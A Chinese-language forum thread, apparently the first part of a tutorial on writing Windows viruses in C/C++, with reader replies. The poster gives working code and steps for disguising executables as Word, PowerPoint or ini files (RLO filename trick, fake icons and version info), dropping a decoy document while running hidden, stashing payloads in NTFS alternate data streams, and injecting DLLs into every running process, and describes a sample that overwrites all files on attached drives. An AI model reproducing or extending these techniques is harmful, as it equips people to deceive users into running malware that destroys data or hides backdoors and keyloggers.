简单病毒编写(C/C++篇)(一)
erbi_lucifer吧
全部回复
仅看楼主
level 10
堕erbi 楼主

一楼度娘……
[揉脸]

2013年03月04日 04点03分 1
level 10
堕erbi 楼主

简介:一些编写计算机病毒和木马功能方法的介绍与实现,阅读需要C语言基础与windows API基础。文章主要讨论病毒与木马的伪装,破坏,隐藏与传播的实现。并附带几个小程序例子作为实例说明。
2013年03月04日 04点03分 2
level 10
堕erbi 楼主

约定:
1. 由于本人习惯,不管C/C++都喜欢使用.cpp文件。使用C++特性,可以随时候随地定义和声明变量,这样比较方便,而.c文件变量的声明和定义都必须放在函数的开始,定义一些临时变量什么的都需要拉回去开头书写有些麻烦。
2. 使用编译器(IDE)是VS2010,默认的编码是Unicode,所以有时涉及字符的API都加上A,表示Ascii版本。如:MessageBoxA。
3. 文章只是简单介绍,没有涉及高深的内容,病毒模型都是还不成型的病毒程序,请在清楚程序执行后果后继续。另外。附带的程序不保证在文件传播过程中还是我一开始打包的程序,有可能被修改后再打包传播。故如果你想要观看程序的运行效果,可以使用虚拟机(最好有安装office系列程序)。附带的这些病毒模型程序,运行请自负责任(否则请勿使用),传播时需要接受方清楚该程序的作用并愿意自行接受。本人不承担任何后果,最终解释权归本人所有(以上,推卸责任完成)。
4. 为了防止病毒模型被用于恶作剧,我在程序打开的时候都会加入提示:"您运行的是一个病毒模型【XXXXXX】,可能会对您的系统造成不良影响,您确定要运行?按下【确定】开始执行。按下【取消】退出程序"
2013年03月04日 04点03分 3
level 10
堕erbi 楼主

目录
简单病毒编写(C/C++篇)
前言
一、 伪装
1. 伪装性
1. 实现方法
2. 程序例子:罪恶-闪烁者
3. 资源文件的使用
4. NTFS ADS与流文件
5. 远程线程
二、 传播
1. 病毒传播之复制到系统文件夹
2. PE文件感染
三、 爆发
1. 特定时间内爆发
2. 全盘文件破坏
3. 磁盘盘符破坏
4. 禁用鼠标和键盘
5. 操作系统类型判断
结束?
2013年03月04日 04点03分 4
level 10
堕erbi 楼主

一、伪装
病毒的大致作用就是“引诱用户运行”,“后台操作”,“复制传播”,“爆发”。
对于大部分的破坏性文件病毒来说就是爆发前隐藏自己,爆发的时候进行大肆破坏,爆发后将造成用户资料的丢失,系统的崩溃等。
对于隐私刺探型病毒,大多会获取用户账号,密码,开启摄像头等(类似于木马)。
对于玩笑型病毒,如女鬼病毒,只有恶作剧的效果,并不会引起较大的破坏。
对于间接型病毒,如下载者,用于下载其他病毒木马等程序,或一些针对杀毒软件的病毒,破坏系统的安全性,用于下阶段的侵入。
2013年03月04日 04点03分 5
level 10
堕erbi 楼主

1. 伪装性
常常可以见到病毒绑定在其他exe中一起运行,同时也可以通过更改图标,文件名的显示顺序等迷惑用户。
如:罪恶-闪烁者 程序的文件截图,我们可以看到图标是ppt,文件信息是“文稿.ppt”,文件后缀名是“.ppt”,咋看一下,是个ppt文档,但它切切实实是一个exe可执行程序。文件名是:“新建 Microsoft PowerPointppt.exe”
罪恶-闪烁者程序文件截图,一个让屏幕不断开关的程序。看起来像一个ppt)
(七宗罪-暴食程序文件截图,一个尝试修改全盘文件内容的程序,看起来像一个doc)
2013年03月04日 04点03分 6
level 10
堕erbi 楼主

2.实现方法
a. 命名
例子的程序:lucifer.exe
进行重命名:
删除后缀名“.exe”,然后右击选择“插入Unicode控制字符(I)”à”RLO Start of right-to-left override”,这样就插入了特殊的控制符,之后输入的字符将从右显示。
我们输入“cod.exe”,看起来就变成了“exe.doc”,即“luciferexe.doc”,看起来相当于一个WORD文档。但是程序运行依旧正常。
重命名后得到:
注:这种命名方式会造成需要使用本程序名操作的函数出错(如复制,打开等)。
2013年03月04日 04点03分 7
请问lz右键菜单的背景图片怎么弄,貌似很牛逼的样子
2013年03月05日 00点03分
回复 qq1263292427 :[揉脸]安装主题就好了
2013年03月05日 01点03分
命名之后程序不是无法正常运行了嘛?这怎么办呢
2013年12月16日 13点12分
回复 948693872 :这样子命名的程序后缀依旧是exe不是看起来那样,可以运行。不过如果涉及到程序本身路径的操作需要做更改,因为拿到的路径是错误的。如果没有涉及路径等问题,命名后打不开有可能是你命名不成功(没有插入RLO字符)。
2013年12月17日 03点12分
level 10
堕erbi 楼主

b. 图标
在编译生成exe之前加入一些常用文档的图标,然后在生成exe即可。可以使用图标提取程序直接在目标程序中提取图标,需要使用的时候就将图标导入资源文件。
2013年03月04日 04点03分 8
图标怎么替换呢?还有版本信息也是,我用CodeBlocks编写的
2013年12月16日 14点12分
回复 948693872 :CodeBlocks的话你需要一个可以把资源文件编译成为exe链接的时候使用的文件,然后再引入。可以考虑用ResEdit来编译资源文件。
2013年12月17日 03点12分
回复 堕erbi :那楼主是用什么软件编写程序呢?
2013年12月17日 05点12分
回复 948693872 :vs2010
2013年12月17日 05点12分
level 10
堕erbi 楼主

c. 版本信息
在EXE文件中显示其他文件的信息。这在用户资源管理器中显示图标为“平铺”的状况下特别有用(可以显示出我们伪装的信息)。
以下以“七宗罪-暴食”为例子。
首先添加资源Version。
在“解决方案”右击à添加 -> 资源)
(选择version,新建)
接着打开资源文件Version。
(打开中的Version)
在FileDescription选项填入文件类型信息(具体可以新建一个该类型的文件然后对比输入),在“七宗罪-暴食”中是伪装word文档,于是这里填入的是“Microsoft Word 97 - 2003 文档”。
在CompanyName,这里不要填入公司名称,而是填入文件大小,如“110.0KB”。
其他的可以自己看着修改,也可以空着。
最后保存,编译生成EXE程序。
(更改图标后的程序与doc文档对比。)
2013年03月04日 04点03分 9
level 10
堕erbi 楼主

d.没有窗体
C语言的控制台编程项目(入口点一般是main函数),编写的程序有一个黑窗体一闪而过。我们可以选择Win32项目(主函数WinMain),来编写我们的程序,以避免黑窗体的出现。
主函数是:
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCEhPrevInstance,PSTR szCmdLine, intiCmdShow)
{
return 0;
}
2013年03月04日 04点03分 10
[郁闷]完全没有头绪
2013年12月16日 14点12分
回复 948693872 :需要学习C语言的windows sdk开发再阅读本帖子会更好。
2013年12月17日 03点12分
level 10
堕erbi 楼主

3.程序例子:罪恶-闪烁者
综合上面的1.命名,2.图标,3.版本信息,4.没有窗体。
下面是一个小例子。
a. 例子
玩笑型病毒:闪烁者,打开后什么提示有没有,我们的屏幕会不断亮了再暗,暗了再亮……当然你可以添加一些开机启动的代码,开机就闪。也可以添加一些无用的操作或资源文件,不要让这个“ppt文件”看起来那么小。
b. 代码
#include<Windows.h>
#include<stdio.h>
int WINAPI WinMain (HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
intnum=0;
while(num<10){
num++;
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开
}
while(1){
Sleep(100);
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
}
return 0;
}
得到的程序文件是:
至于效果,你可以自己试一下。这个没有破坏性,可以通过强制关机重启停止屏幕闪烁。
2013年03月04日 04点03分 11
这个是不是闪烁10次就黑屏了。
2014年07月09日 13点07分
回复 飞雪落月 :从代码看是的
2014年11月07日 01点11分
Linking... LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main Debug/aa.exe : fatal error LNK1120: 1 unresolved externals
2015年06月30日 11点06分
这是为啥
2015年06月30日 11点06分
level 10
堕erbi 楼主

4.资源文件的使用
如果我们的程序不需要让用户察觉,这样是不够的。一打开“ppt”或“doc”文件,什么事情有没有发生,那样会让人起疑心的。于是我们可以尝试将一个文件打包进EXE中,打开程序的时候释放文件,然后再自动打开该文件。
如之前提到过的“七宗罪-暴食”。目测是doc文档的程序,用户打开它的时候看到的是WORD程序打开了一个DOC文档,这样用户在短时间内就不会起疑心了,或许当用户察觉不对劲的时候磁盘里已经剩不下多少正常的文件了。
注:“七宗罪-暴食”。一开始释放word文件“黑客的诠释hackexe.doc”并打开该文档。
然后历遍所有的驱动器,如果找到硬盘或u盘,就开始历遍所有文件,同时尝试将接触到的所有文件的内容跟改为“暴食”二字。(会对文件造成破坏,请用虚拟机运行)
准备一份doc文档(这里是“黑客的诠释hackexe.doc”),加入资源中(加入过程就像Version资源的添加,这次是点击加入“导入”而非“新建”),如果加入的资源文件不是VS2010默认处理的文件,那么它就会提示以下对话框,我们填写资源类型为“DOC”即可。
程序一开始创建一个线程,这个线程的作用是提取资源中的文档生成隐藏文件“黑客的诠释hackexe.doc”并打开。
// 参数一:要生成的文件的文件名,参数二: 资源类型,参数三:是要提取哪个资源
bool ExtractResource(char*strDstFile, char* strResType, char* strResName)
{
// 创建文件
HANDLE hFile = CreateFileA(strDstFile,GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
if (hFile ==INVALID_HANDLE_VALUE)
return false;
// 查找资源文件 加载资源到内存 得到资源大小
HRSRC hRes = FindResourceA(NULL, strResName,strResType);
HGLOBAL hMem = LoadResource(NULL, hRes);
DWORD dwSize = SizeofResource(NULL, hRes);
// 写入文件
DWORD dwWrite = 0; // 返回写入字节
WriteFile(hFile, hMem, dwSize, &dwWrite,NULL);
CloseHandle(hFile);
return true;
}
DWORD WINAPIThreadFile( LPVOID lpParam ) //线程
{
ExtractResource("黑客的诠释.doc", "DOC",MAKEINTRESOURCEA(IDR_DOC1));
ShellExecuteA(NULL,"open","黑客的诠释.doc",NULL,NULL,SW_SHOWNORMAL);
return 0;
}
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCEhPrevInstance,PSTR szCmdLine, int iCmdShow)
{
//调用线程,然后关闭线程
CloseHandle(CreateThread(NULL,0,ThreadFile,NULL, 0,NULL));
//其他代码省略
/**************************************/
return 0;
}
这样,用户打开我们的“doc文档(程序)”的时候就会看到一个doc文件被打开了(程序开始执行),用户关闭这个doc后程序依旧在后台运行。
2013年03月04日 04点03分 12
回复
�����ı�
:IDR_DOC1是导入的doc资源,ShellExecuteA找不到试试用ShellExecute,如果还找不到检查下头文件什么的。
2015年05月07日 08点05分
level 10
堕erbi 楼主

5.NTFS ADS与流文件
a. 流文件简介
NTFS流全称为NTFS交换数据流(NTFSAlternate Data Streams),ADS的诞生是为了兼容Hierarchical File System 。HFS---分层文件系统,是由苹果公司推出的文件系统,其工作模式是将不同数据存在不同的分支文件,文件数据存放在数据分支而文件参数存放在资源分支。类似的,NTFS流使用资源派生来维持不宿主文件相关的信息。
流文件的格式是这样的:
文件名:流文件名:流类型
一般来说,默认的流类型是$DATA,可以省略。于是文件如:“1.txt:2.txt”,我们创建的时候在磁盘看到的文件只有“1.txt”。我们往“1.txt:2.txt”写入信息,“1.txt”的大小不会改变。
1、修改宿主文件的内容不会影响流的内容。
2、修改流的内容不会影响宿主文件的内容。
b.流文件的使用
我们可以使用ADS来隐藏我们需要生成的文件。
可以使用它来保存配置文件,后门密码,shell,文本信息等等(常用于网马的隐藏,MySQL UDF的提权等)。另外,很多程序不支持流文件(windows自带的notepad支持),并且ShellExecute是不支持调用流文件的(除非用它来调用notepad.exe,再把流文件作为参数发送过去。)
如:
//在添加一个cpp作为资源,然后生成为:data.txt:setting.ini 流文件,在磁盘中可以看到一个大小为 0 KB的文件“data.txt”。
ExtractResource("data.txt:setting.ini", "CPP", MAKEINTRESOURCEA(IDR_CPP1));
//调用notepad.txt打开 “data.txt:setting.ini”,我们就可以看到信息了
ShellExecuteA(NULL,"open","notepad.exe","data.txt:setting.ini",NULL,SW_SHOWNORMAL);
幸运的是windows的文件处理api(如CreateFile)是支持流文件操作的,C语言库函数fopen之类的也是支持的。
另外,一个宿主可以对应多个流文件。如一个“data.txt”,可以有“data.txt:1.txt”,“data.txt:2.txt”,“data.txt:2.ini”……等。
2013年03月04日 04点03分 13
你怎么知道的这么多呢。。。。数据库什么的都懂啊~~~~~~是不是需要天天刻苦看书啊?
2013年04月12日 15点04分
回复 dota巴萨 :[揉脸]动手+兴趣
2013年04月12日 15点04分
level 10
堕erbi 楼主

c. 小程序例子
(ADS流文件处理文件截图)
以它自己的cpp源代码文件加入资源,然后提取出来保存为 data.txt:setting.txt 文件,调用记事本打开,然后读取data.txt:setting.txt的内容并打印出来。
流文件内容的处理与普通文件相同:
void ReadADSFile(){
FILE *fp;
charstr[100]={0};
fp=fopen("data.txt:setting.ini","r");
if(fp==NULL){
printf("读取文件出错%d",GetLastError());
return;
}else{
while(fgets(str,100,fp)!=NULL){
puts(str);
}
fclose(fp);
}
}
d.其他流文件类型参考
流文件类型默认是$DATA,如果需要指定其他文件类型可以参考:
Stream Type
Description
$ATTRIBUTE_LIST
Lists the location of all attribute records that do not fit in the MFT record
$BITMAP
Attribute for Bitmaps
$DATA
Contains default file data
$EA
Extended attribute index
$EA_INFORMATION
Extended attribute information
$FILE_NAME
File name
$INDEX_ALLOCATION
The type name for a Directory Stream. A string for the attribute code for index allocation
$INDEX_ROOT
Used to support folders and other indexes
$LOGGED_UTILITY_STREAM
Use by the encrypting file system
$OBJECT_ID
Unique GUID for every MFT record
$PROPERTY_SET
Obsolete
$REPARSE_POINT
Used for volume mount points
$SECURITY_DESCRIPTOR
Security descriptor stores ACL and SIDs
$STANDARD_INFORMATION
Standard information such as file times and quota data
$SYMBOLIC_LINK
Obsolete
$TXF_DATA
Transactional NTFS data
$VOLUME_INFORMATION
Version and state of the volume
$VOLUME_NAME
Name of the volume
$VOLUME_VERSION
Obsolete. Volume version
2013年03月04日 04点03分 14
level 10
堕erbi 楼主

6.远程线程
a.远程线程
利用远程线程将dll注入到目标进程中,相当于目标进程开了一个线程,而这个线程的操作就要看这个dll的了。同时,运行我们DLL中代码的程序就是被注入的进程了,我们从任务管理器是看不出有特殊的进程存在的,这就达到了隐藏的效果。
b. Dll编写
首先是编写一个动态链接库DLL,新建win32工程,到这一步的时候选择DLL工程,其他设置如下图:
然后像普通win32工程一样新建cpp文件,在cpp文件打入代码,其主函数是DllMain。我们将要让远程线程干的事情都在DLL_PROCESS_ATTACH中调用即可。
所有要运行的代码都放入这里(这里演示的是一个消息框,自己可以尝试修改成键盘钩子或后门在这里调用)。
BOOL WINAPI DllMain ( HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpReserved )
{
// 分别处理各种通知
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// 为新进程初始化,只能进行1次
// 如果加载失败则返回FALSE
//这里我只是做演示,所以只有一个消息框和一个结束进程。
//被注入的程序将会弹出这个消息框,点击确定后退出程序
MessageBoxA(NULL,"我的进程是哪个?","lucifer",MB_OK);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
// 执行线程初始化操作
break;
case DLL_THREAD_DETACH:
// 执行线程清理操作
break;
case DLL_PROCESS_DETACH:
// 执行清理操作
break;
}
return TRUE;
}
编译生成就得到一个dll文件了,在下面的程序中将会使用到这个dll。
2013年03月04日 04点03分 15
level 10
堕erbi 楼主

c.枚举进程
我们枚举当前所有的进程,然后尝试进行注入,你会发现,其中有很多进程是不可以注入的(权限不够或其他等等原因)。对于可以注入的进程,注入后我们等待其结束,然后开始注入下一个。这样的话,总会找到一个线程是可以注入的,另外,如果被注入的进程退出了,注入程序就会自己再找一个新的进程进行注入,如果是注入程序被发现了并结束进程了,那么则少内存中还有那个被注入的进程在活动。
BOOL liu;
PROCESSENTRY32 pe32;
HANDLE hpxian;
pe32.dwSize=sizeof(pe32);
DWORD dwCurrentPid=GetCurrentProcessId();
while(1){ //无限循环检查注入,可以去掉,否则的话,当你运行一个新的程序的时候,将会先执行注入的DLL的代码,再显示程序的窗口。如下图。
if(INVALID_HANDLE_VALUE==(hpxian=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0))){
return-1;
}
//加载用于注入的dll,名字不一定是要dll结尾。
GetCurrentDirectoryA(DEF_BUF_SIZE,szDllPath);
strcat ( szDllPath, "\\data.dat") ;
//dll作为资源文件,运行程序的时候提取出来
ExtractResource(szDllPath, "DAT",MAKEINTRESOURCEA(IDR_DAT1));
DWORD dwProcessId = 0 ;
liu=Process32First(hpxian,&pe32);
while(liu)
{
liu=Process32Next(hpxian,&pe32);
dwProcessId=pe32.th32ProcessID;
if((dwProcessId>0)&&(dwCurrentPid!=dwProcessId)){
//开始尝试注入
InjectModuleToProcessById(dwProcessId);
}
}
Sleep(1000);
}
2013年03月04日 04点03分 16
level 10
堕erbi 楼主

e.实现例子:罪恶-狩猎伪装成ini配置文件的exe程序,打开的时候会调用记事本打开自己,然后尝试注入某个进程,被注入的进程将会弹出消息框,点击消息框确定后会退出该进程,然后是下一个。
由于是演示程序,故加了消息框让用户知道是注入了哪个进程,在真正编写病毒的时候,一般都是没有弹窗的,运行的时候谁也不知道(杀软一般会拦截)。
运行后处理办法:先结束winlogin_seini.exe的进程,在找到消息框,点击确定即可(被注入的进程会自动结束)。
(罪恶-猎人文件截图,看起来就像一个ini文件,事实上它是winlogin_seini.exe)
运行后打开程序(如QQ),会先执行注入的代码(加载dll的时候),如果DLL代码里面的ExitProcess去掉,那么点击消息框之后才会进入QQ登陆界面,否则是点击后直接退出。
(无限循环会在打开程序并未显示界面的时候先执行我们的代码,待执行完毕之后再打开界面,如图中的QQ程序,如果加上判断是否QQ的进程,是的话进行注入,如果将图中的消息框改成伪装的QQ登陆框会是怎样的情况?)
2013年03月04日 04点03分 17
level 10
堕erbi 楼主

>>
>> to be continue……
    / \./ \/\_   I Hand You
  __{^\_ _}_  ) }/^\    A Rose...
 / /\_/^\._}_/ // /
( (__{(@)}\__}.//_/__A___A______A_______A______A____
 \__/{/(_)\_} )\\ \\---v----V-----V--Y----v---Y-----
  (  (__)_)_/ )\ \>
\__/   \__/\/\/
    \__,--'    
2013年03月04日 04点03分 18
level 10
堕erbi 楼主

本文的PDF文档+相关程序(附cpp代码)已经上传115网盘,网盘传送门、用户名与密码见:
https://tieba.baidu.com/p/1839536765
目录:/【C语言病毒编写】/简单病毒编写(C&C++篇).pdf
/【C语言病毒编写】/简单病毒编写(C&C++篇)程序.zip
程序工程整理中, 未上传。
[揉脸]
2013年03月04日 04点03分 19
level 8
那个图...吧主也看刀剑?
2013年03月04日 10点03分 20
[鲁拉]刀剑感觉挺不错的,于是装了刀剑的主题……
2013年03月04日 12点03分
回复 堕erbi :昂,感觉罪恶王冠也不赖
2013年03月04日 14点03分
[揉脸]我喜欢《死亡笔记》,结果夜神月惨死,我喜欢《叛逆的鲁鲁修》,结果鲁鲁修挂了,现在我开始看《罪恶王冠》,结果男主角剩下一条胳膊了……
2013年03月13日 12点03分
回复 堕erbi :没事,还会长出来的
2013年03月13日 12点03分
1 2 尾页